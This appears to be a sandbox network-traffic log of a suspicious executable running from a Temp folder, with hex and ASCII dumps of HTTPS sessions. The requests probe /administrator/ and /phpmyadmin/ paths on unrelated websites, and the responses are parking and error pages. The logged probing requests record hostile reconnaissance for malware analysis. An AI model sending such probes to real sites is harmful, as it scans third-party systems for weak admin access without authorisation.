2023-12-20 02:13:25 UTC	1369	IN	Data Raw: 6f 72 2d 6c 61 6e 64 69 6e 67 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 65 72 72 6f 72 63 6f 64 65 5f 35 32 30 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 64 69 72 65 63 74 61 2d 70 6c 75 73 2e 63 6f 6d 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 3e 0a 20 20 20 20 43 6c 6f 75 64 66 6c 61 72 65 0a 20 20 20 20 3c 2f 61 3e 0a 20 20 3c 2f 68 33 3e 0a 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6c 65 61 64 69 6e 67 2d 31 2e 33 20 74 65 78 74 2d 32 78 6c 20 74 65 78 74 2d 67 72 65 65 6e 2d 73 75 63 63 65 73 73 22 3e 57 6f 72 6b 69 6e 67 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 66 2d 68 6f 73 74 2d 73 74 61 74 75 73 22 20 63 6c 61 73 73 3d 22 63 66 Data Ascii: or-landing?utm_source=errorcode_520&utm_campaign=directa-plus.com" target="_blank" rel="noopener noreferrer"> Cloudflare </a> </h3> <span class="leading-1.3 text-2xl text-green-success">Working</span></div><div id="cf-host-status" class="cf
2023-12-20 02:13:25 UTC	1369	IN	Data Raw: 72 65 20 61 6e 64 20 74 68 65 20 6f 72 69 67 69 6e 20 77 65 62 20 73 65 72 76 65 72 2e 20 41 73 20 61 20 72 65 73 75 6c 74 2c 20 74 68 65 20 77 65 62 20 70 61 67 65 20 63 61 6e 20 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 2d 31 2f 32 20 6d 64 3a 77 2d 66 75 6c 6c 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6c 65 61 64 69 6e 67 2d 72 65 6c 61 78 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 33 78 6c 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 6c 65 61 64 69 6e 67 2d 31 2e 33 20 6d 62 2d 34 22 3e 57 68 61 74 20 63 61 Data Ascii: re and the origin web server. As a result, the web page can not be displayed.</p> </div> <div class="w-1/2 md:w-full float-left leading-relaxed"> <h2 class="text-3xl font-normal leading-1.3 mb-4">What ca
2023-12-20 02:13:25 UTC	1230	IN	Data Raw: 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 33 38 34 35 64 61 65 33 37 65 36 37 34 37 65 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 2d 69 70 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 68 69 64 64 65 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d Data Ascii: strong class="font-semibold">83845dae37e6747e</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP: <button type="button" id="cf-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	55212	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	334	OUT	GET /administrator/ HTTP/1.1 Host: topshelfgames.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_iYcKIyKaUHU3qeKapRL88S0ihrXa8Q+Bx/6ybWGbR0DwxJhZOgDUN4gl1X8gE7W5lpxf5e1mCB3d0RpNyr8kFg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:24 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	55420	104.26.7.37	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	210	OUT	GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1 Host: www.hugedomains.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	802	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close cache-control: private vary: Accept-Encoding set-cookie: site_version_phase=108; expires=Sat, 14-Dec-2024 02:13:24 GMT; path=/ set-cookie: site_version=HDv3; expires=Sat, 14-Dec-2024 02:13:24 GMT; path=/ x-powered-by: ASP.NET lb: TclPrdLbHd3 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=W%2BZFsxGubK9SRtE1spjHhn5cqt3RFfF5YzFwj8X%2BpfcrMVMHKRFtZa2AsuJtXD6zzsmOu3knrF%2Fdf%2Bdt6NtZVHQnAHzvKjZ0T6E1shS2WtwRMyN%2BzSTiVH5dIIS3S38mtLrhN%2F4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845dad6aae4c0d-MIA
2023-12-20 02:13:24 UTC	567	IN	Data Raw: 39 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 6f 6b 69 65 79 65 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 63 6f 6f 6b 69 65 79 65 73 2e 63 6f 6d 2f 63 6c 69 65 6e 74 5f 64 61 74 61 2f 65 37 31 62 63 35 33 66 31 63 62 38 38 36 36 36 64 31 36 30 63 31 65 32 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 0a 3c 6d 65 74 Data Ascii: 929<!DOCTYPE html><html lang="en"><head><script id="cookieyes" type="text/javascript" src="https://cdn-cookieyes.com/client_data/e71bc53f1cb88666d160c1e2/script.js"></script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><met
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 72 65 62 6f 6f 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 61 61 3d 32 30 32 31 2d 30 36 2d 30 39 61 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f Data Ascii: ss" /><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/reboot.min.css"><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/style.css?aa=2021-06-09a"><link rel="stylesheet" href="https://static.HugeDomains.co
2023-12-20 02:13:24 UTC	416	IN	Data Raw: 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 2f 7a 79 77 36 6d 64 73 2e 63 73 73 22 3e 0a 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 37 31 31 37 33 33 39 2d 34 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0d 0a 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d Data Ascii: .com/css?family=Noto+Sans:400,700&display=swap"><link rel="stylesheet" href="https://use.typekit.net/zyw6mds.css"><script async src="https://www.googletagmanager.com/gtag/js?id=UA-7117339-4"></script><script>window.dataLayer = window.dataLayer \|\| []
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 20 7b 0d 0a 27 64 69 6d 65 6e 73 69 6f 6e 33 27 3a 20 27 73 69 74 65 76 65 72 73 69 6f 6e 27 0d 0a 7d 0d 0a 7d 29 3b 0d 0a 67 74 61 67 28 27 65 76 65 6e 74 27 2c 20 27 70 61 67 65 4c 6f 61 64 27 2c 20 7b 20 27 73 69 74 65 76 65 72 73 69 6f 6e 27 3a 20 27 48 44 76 33 27 20 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 61 20 68 72 65 66 3d 22 23 6d 61 69 6e 22 20 63 6c 61 73 73 3d 22 73 6b 69 70 2d 6d 61 69 6e 22 3e 53 6b 69 70 20 74 6f 20 6d 61 69 6e 20 63 6f 6e 74 65 6e 74 3c 2f 61 3e 0a 3c 68 65 61 64 65 72 20 69 64 3d 22 68 65 61 64 65 72 22 20 63 6c 61 73 73 3d 22 68 64 76 33 48 65 61 64 65 72 44 61 72 6b 42 6c 75 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 73 2d 6f 76 65 72 6c 61 Data Ascii: 7ffa {'dimension3': 'siteversion'}});gtag('event', 'pageLoad', { 'siteversion': 'HDv3' });</script></head><body><a href="#main" class="skip-main">Skip to main content</a><header id="header" class="hdv3HeaderDarkBlue"><div class="js-overla
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 63 68 54 65 78 74 49 44 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 48 65 61 64 65 72 20 44 6f 6d 61 69 6e 20 53 65 61 72 63 68 22 3e 0a 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 76 61 6c 75 65 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 62 74 6e 22 20 6f 6e 43 6c 69 63 6b 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 53 75 62 6d 69 74 46 75 6e 63 28 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 20 22 20 73 74 79 6c 65 3d 22 6d 69 6e 2d 77 69 64 74 68 3a 39 30 70 78 3b 20 68 65 69 67 68 74 3a 33 35 70 78 3b 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 42 75 74 74 6f 6e 49 44 22 3e 53 65 61 72 63 68 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 76 61 6c Data Ascii: chTextID" aria-label="Header Domain Search"><button type="submit" value class="search-btn" onClick="hdv3HeaderSearchSubmitFunc(); return false; " style="min-width:90px; height:35px;" id="hdv3HeaderSearchButtonID">Search</button><button type="button" val
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 76 2d 69 74 65 6d 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6e 64 65 78 2e 63 66 6d 22 3e 48 6f 6d 65 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 66 61 71 2e 63 66 6d 22 3e 46 41 51 73 3c 2f 62 3e 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 Data Ascii: v-item"><a class="nav-link " href="https://www.HugeDomains.com/index.cfm">Home</a></li><li class="nav-item"><a class="nav-link " href="https://www.HugeDomains.com/faq.cfm">FAQs</b></a></li><li class="nav-item"><a class="nav-link " href="https://www
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6e 61 76 3e 0a 3c 2f 68 65 61 64 65 72 3e 0a 3c 6d 61 69 6e 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 6d 61 69 6e 20 22 3e 0a 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 64 75 63 74 2d 66 61 76 2d 77 72 61 70 70 20 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 64 65 2d 77 72 61 70 70 20 64 6e 2d 6d 6f 62 69 6c 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6c 69 64 65 2d 73 69 64 65 62 61 72 2d 62 6c 6f 63 6b 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 69 6e 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 69 6e 6e 65 72 2d 6e 65 77 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 74 69 74 6c 65 20 Data Ascii: ></div></nav></header><main class="site-main "><div class="product-fav-wrapp container"><div class="side-wrapp dn-mobile"><div class="slide-sidebar-block"><div class="ss-block-inner"><div class="ss-block-inner-new"><span class="ss-block-title
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 70 61 6e 3e 0a 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 70 61 79 6d 65 6e 74 2d 70 6c 61 6e 2d 73 65 74 75 70 2e 63 66 6d 3f 64 3d 55 6e 69 71 75 65 41 75 73 74 72 61 6c 69 61 6e 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 6d 2d 74 2d 30 20 22 20 69 64 3d 22 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 50 50 49 44 22 20 6f 6e 43 6c 69 63 6b 3d 22 24 28 27 23 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 50 50 49 44 27 29 2e 61 64 64 43 6c 61 73 73 28 27 68 69 64 64 65 6e 41 74 4c 6f 61 64 27 29 3b 20 24 28 27 23 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 50 50 50 72 6f 63 65 49 44 27 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 68 69 64 64 65 6e 41 74 4c 6f 61 64 27 Data Ascii: pan><a href="https://www.HugeDomains.com/payment-plan-setup.cfm?d=UniqueAustralian.com" class="btn m-t-0 " id="hdv3Billboard197PPID" onClick="$('#hdv3Billboard197PPID').addClass('hiddenAtLoad'); $('#hdv3Billboard197PPProceID').removeClass('hiddenAtLoad'
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 72 6f 6b 65 74 2d 73 69 64 65 2d 69 63 6f 2e 70 6e 67 22 20 61 6c 74 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 3e 54 61 6b 65 20 69 6d 6d 65 64 69 61 74 65 20 6f 77 6e 65 72 73 68 69 70 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 67 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 73 61 66 65 73 6d 61 6c 6c 69 63 6f 2e 70 6e 67 22 20 61 6c 74 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e Data Ascii: om/images/hdv3-img/roket-side-ico.png" alt></div><div class="content"><span>Take immediate ownership</span></div></li><li><div class="img"><img src="https://static.HugeDomains.com/images/hdv3-img/safesmallico.png" alt></div><div class="content">
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 65 74 2d 62 6c 6f 63 6b 2d 72 6f 77 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 6c 65 66 74 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 2e 63 66 6d 3f 64 3d 55 6e 69 71 75 65 41 75 73 74 72 61 6c 69 61 6e 26 65 3d 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 30 70 78 3b 20 77 69 64 74 68 3a 31 37 30 70 78 3b 20 6d 69 6e 2d 77 69 64 74 68 3a 31 37 30 70 78 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 20 22 20 69 64 3d 22 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 42 75 79 54 61 62 49 44 22 20 6f 6e 43 6c 69 63 6b 3d 22 Data Ascii: et-block-row"><div class="tablet-block-left"><a href="https://www.HugeDomains.com/shopping_cart.cfm?d=UniqueAustralian&e=com" class="btn" style="padding-right:30px; width:170px; min-width:170px; margin-top:10px; " id="hdv3Billboard197BuyTabID" onClick="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	55333	108.163.227.170	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	179	OUT	GET /phpmyadmin/ HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	330	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:24 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://activegraphics.com/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:24 UTC	7862	IN	Data Raw: 31 66 31 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 41 63 74 69 76 65 20 47 72 61 70 68 69 63 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 Data Ascii: 1f13<!doctype html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – Active Graphics</title><met
2023-12-20 02:13:24 UTC	99	IN	Data Raw: 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 6c 65 66 74 7b 66 6c 6f 61 74 3a 20 6c 65 Data Ascii: : auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignleft{float: le
2023-12-20 02:13:24 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:25 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 66 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 32 65 6d 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 72 69 67 68 74 7b 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 32 65 6d 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 30 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 Data Ascii: 1ff8ft;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !impor
2023-12-20 02:13:25 UTC	5	IN	Data Raw: 36 62 36 0d 0a Data Ascii: 6b6
2023-12-20 02:13:25 UTC	1718	IN	Data Raw: 25 32 43 37 30 30 69 74 61 6c 69 63 25 32 43 38 30 30 25 32 43 38 30 30 69 74 61 6c 69 63 25 32 43 39 30 30 25 32 43 39 30 30 69 74 61 6c 69 63 25 37 43 52 6f 62 6f 74 6f 2b 53 6c 61 62 25 33 41 31 30 30 25 32 43 31 30 30 69 74 61 6c 69 63 25 32 43 32 30 30 25 32 43 32 30 30 69 74 61 6c 69 63 25 32 43 33 30 30 25 32 43 33 30 30 69 74 61 6c 69 63 25 32 43 34 30 30 25 32 43 34 30 30 69 74 61 6c 69 63 25 32 43 35 30 30 25 32 43 35 30 30 69 74 61 6c 69 63 25 32 43 36 30 30 25 32 43 36 30 30 69 74 61 6c 69 63 25 32 43 37 30 30 25 32 43 37 30 30 69 74 61 6c 69 63 25 32 43 38 30 30 25 32 43 38 30 30 69 74 61 6c 69 63 25 32 43 39 30 30 25 32 43 39 30 30 69 74 61 6c 69 63 26 23 30 33 38 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 26 23 30 33 38 3b 76 65 72 3d 36 2e 34 Data Ascii: 